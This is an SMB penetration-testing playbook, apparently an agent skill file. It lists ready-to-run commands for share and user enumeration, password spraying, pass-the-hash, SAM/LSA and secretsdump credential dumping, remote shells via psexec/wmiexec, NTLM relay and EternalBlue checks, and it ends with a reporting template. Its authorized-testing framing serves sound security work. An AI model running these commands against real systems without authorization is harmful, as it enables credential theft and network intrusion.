pentesting-smb

name: pentesting-smb description: Testing SMB/CIFS file-sharing services (TCP 445, and 139 over NetBIOS) on Windows and Samba hosts during authorized engagements. Covers share enumeration, null/guest session abuse, user and RID enumeration, credentialed access with netexec/crackmapexec, password spraying, command execution (psexec/wmiexec/smbexec/atexec), SAM/LSA dumping, and notable CVEs such as EternalBlue (MS17-010). domain: cybersecurity subdomain: network-services-pentesting tags:

• penetration-testing
• network-services
• smb
• cifs
• active-directory
• lateral-movement version: '1.0' author: xalgorix license: Apache-2.0

Pentesting SMB (port 445/139)

When to Use

• During authorized internal network or Active Directory penetration tests when TCP 445 or 139 is open
• When you need to enumerate shares, users, groups, and the domain password policy
• When testing for anonymous/null sessions, guest access, and default credentials
• When you have credentials (or NT hashes) and want to access shares, dump secrets, or move laterally
• When assessing Samba servers on Linux/Unix for dangerous smb.conf misconfigurations

Quick Enumeration

# Version and vuln scan (also fingerprints OS)
nmap --script "safe or smb-enum-*" -p 445 <IP>
nmap --script smb-os-discovery,smb-security-mode,smb2-security-mode -p 445 <IP>
nmap --script smb-vuln-ms17-010 -p 445 <IP>          # EternalBlue check

# Full enumeration via null/anon IPC$ session
enum4linux -a <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>

# netexec / crackmapexec (the modern workhorse)
netexec smb <IP>                                     # banner, signing, domain, OS
crackmapexec smb <IP> -u '' -p '' --shares           # null session shares
crackmapexec smb <IP> -u 'guest' -p '' --shares      # guest session shares

# rpcclient null session
rpcclient -U "" -N <IP>

Critical: Checks Most Often Missed

1. Null / anonymous session on IPC$ — connect with empty user and password. Often still yields OS info, parent domain, users, groups, shares, and the password policy via enum4linux/enum4linux-ng.
2. Guest account access — guest with a blank password frequently lists shares even when null does not.
3. SMB signing not required — enables SMB relay (NTLM relay) attacks. netexec smb <IP> reports signing:False.
4. EternalBlue (MS17-010) — unpatched SMBv1 remote code execution. Confirm with nmap --script smb-vuln-ms17-010 or crackmapexec smb <IP> -M ms17-010. Do NOT run the exploit without explicit written authorization; the kernel pool overflow can crash the host.
5. Readable SYSVOL/NETLOGON — readable by all authenticated domain users. Hunt for Registry.xml (GPP autologon passwords), web.config, and logon scripts with embedded creds. Also test write access even on "read-only"-looking shares (NTFS ACLs may allow writes → logon-script poisoning).
6. NTFS vs share ACL mismatch — a share that looks read-only may still allow file writes. Always test by uploading a small file.

How to CONFIRM: a null session is confirmed when smbclient -U '%' -N \\\\<IP>\\IPC$ -c '' returns no error, or crackmapexec smb <IP> -u '' -p '' --shares lists shares. Treat NT_STATUS_ACCESS_DENIED as "share exists, no access" and NT_STATUS_BAD_NETWORK_NAME as "share does not exist."

Workflow

Step 1: Enumerate (shares, users, domain info)

# Shares (try null, then guest, then creds)
smbclient --no-pass -L //<IP>                         # null user
smbmap -H <IP>                                        # null user, shows perms
crackmapexec smb <IP> -u '' -p '' --shares

# Users / groups / password policy
crackmapexec smb <IP> --users [-u <user> -p <pass>]
crackmapexec smb <IP> --groups [-u <user> -p <pass>]
crackmapexec smb <IP> -u <user> -p <pass> --pass-pol
rpcclient -U "" -N <IP> -c 'enumdomusers'
rpcclient -U "" -N <IP> -c 'enumdomgroups'

# RID cycling / SID lookup to recover usernames
lookupsid.py -no-pass <DOMAIN>/@<IP>
crackmapexec smb <IP> -u 'guest' -p '' --rid-brute

Step 2: Authenticate (null session, default creds, password spray)

# Default / weak creds worth trying: blank, guest/blank, admin/(blank|password|admin)

# Validate a single credential pair
crackmapexec smb <IP> -u 'user' -p 'Password1'         # (+) = valid, Pwn3d! = admin

# Password spray across a user list (mind lockout policy!)
crackmapexec smb <IP> -u users.txt -p 'Spring2024!' --continue-on-success

# Pass-the-Hash
crackmapexec smb <IP> -u Administrator -H <NTHASH>
smbmap -u "username" -p "<NT>:<LM>" -H <IP>            # PtH with smbmap

# Kerberos auth (NTLM disabled environments → STATUS_NOT_SUPPORTED)
sudo ntpdate <dc.fqdn>                                 # avoid KRB_AP_ERR_SKEW
netexec smb <dc.fqdn> -k                               # use ccache TGT
smbclient --kerberos //ws01.domain.com/C$

Step 3: Exploit / Extract (share access, secrets dumping)

# Connect to a share and pull files
smbclient --no-pass //<IP>/<Share>
smbclient //<IP>/<share> -c 'recurse; prompt; mget *'  # download everything
smbmap -R <Share> -H <IP> -A '<FileName>' -q           # search + download

# Try common hidden shares
smbclient -U '%' -N \\\\<IP>\\ADMIN$                    # also C$, IPC$, SYSVOL, NETLOGON

# Spider shares for secrets
crackmapexec smb <IP> -u user -p pass -M spider_plus --share 'Department Shares'

# Dump credentials with valid (admin) creds
crackmapexec smb <IP> -u Administrator -p 'pass' --sam   # local SAM hashes
crackmapexec smb <IP> -u Administrator -p 'pass' --lsa   # LSA secrets
secretsdump.py [[domain/]username[:password]@]<IP>       # impacket full dump

# Remote registry read
reg.py domain.local/USERNAME@<IP> -hashes <LM:NT> query -keyName HKLM -s

Step 4: Post-access / lateral movement

# Command execution (wmiexec = default for CME; fileless options)
crackmapexec smb <IP> -u Administrator -p 'pass' -x whoami
crackmapexec smb <IP> -u Administrator -H <NTHASH> -x whoami
# --exec-method {mmcexec,smbexec,atexec,wmiexec}

# Impacket interactive shells (kali: /usr/share/doc/python3-impacket/examples/)
psexec.py [[domain/]username[:password]@]<IP>            # new service via \pipe\svcctl
wmiexec.py [[domain/]username[:password]@]<IP>           # DCOM via port 135, fileless
smbexec.py [[domain/]username[:password]@]<IP>           # cmd/powershell via service
atexec.py  [[domain/]username[:password]@]<IP> "whoami"  # Task Scheduler \pipe\atsvc
# All support -hashes <LM:NT> for PtH and -k for Kerberos

# SMB relay (when signing not required) — capture + relay NTLM
ntlmrelayx.py -tf targets.txt -smb2support

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Anonymous Enumeration

A host allows null sessions. enum4linux-ng -A <IP> reveals the domain name, full user list, group memberships, and password policy — providing a user list for targeted password spraying.

Scenario 2: GPP Password in SYSVOL

A domain user can read \\<dc>\SYSVOL\<domain>\Policies\...\Registry.xml containing an autologon password configured via Group Policy, granting workstation access.

Scenario 3: Pass-the-Hash Lateral Movement

A dumped local Administrator NT hash is reused across the subnet. crackmapexec smb <subnet> -u Administrator -H <hash> flags hosts as Pwn3d!, and wmiexec.py -hashes :<hash> Administrator@<IP> yields a shell.

Scenario 4: EternalBlue Target

nmap --script smb-vuln-ms17-010 flags an unpatched server. With written authorization, the host is exploited for SYSTEM-level RCE; otherwise it is reported as a critical finding only.

Output Format

## SMB Finding

**Service**: SMB/CIFS
**Severity**: <Critical|High|Medium|Low>
**Host**: <IP>:445
**Access Level**: <null | guest | authenticated | admin>

### Summary
<What was found: null session, weak creds, MS17-010, exposed share, etc.>

### Evidence
- Command: <exact command run>
- Output: <relevant signature, e.g. share list, "Pwn3d!", root: line, MS17-010 VULNERABLE>

### Affected Resources
| Share / Object | Access | Notable Contents |
|----------------|--------|------------------|
| SYSVOL | read | Registry.xml with GPP password |
| C$ | read/write (admin) | full filesystem |

### Reproduction Steps
1. <step>
2. <step>

### Recommendation
1. Disable null/anonymous sessions and the guest account
2. Require SMB signing on all hosts
3. Patch MS17-010 / disable SMBv1
4. Remove credentials from SYSVOL scripts and GPP; rotate exposed secrets
5. Enforce strong, unique local administrator passwords (LAPS)